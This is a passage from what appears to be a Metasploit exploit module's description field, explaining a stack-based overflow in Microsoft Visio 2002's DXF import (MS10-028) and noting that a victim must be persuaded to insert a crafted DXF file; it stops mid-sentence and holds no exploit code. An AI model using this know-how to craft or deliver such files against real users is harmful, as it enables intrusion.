'Description' => %q{
|
||||
This module exploits a stack based overflow vulnerability in the handling
|
||||
of the DXF files by Microsoft Visio 2002. Revisions prior to the release of
|
||||
the MS bulletin MS10-028 are vulnerable. The overflow occurs when the application
|
||||
is used to import a specially crafted DXF file, while parsing the HEADER section
|
||||
of the DXF file.
|
||||
|
||||
To trigger the vulnerability an attacker must convince someone to insert a
|
||||
specially crafted DXF file to a new document, go to 'Insert' -> 'CAD Drawing'
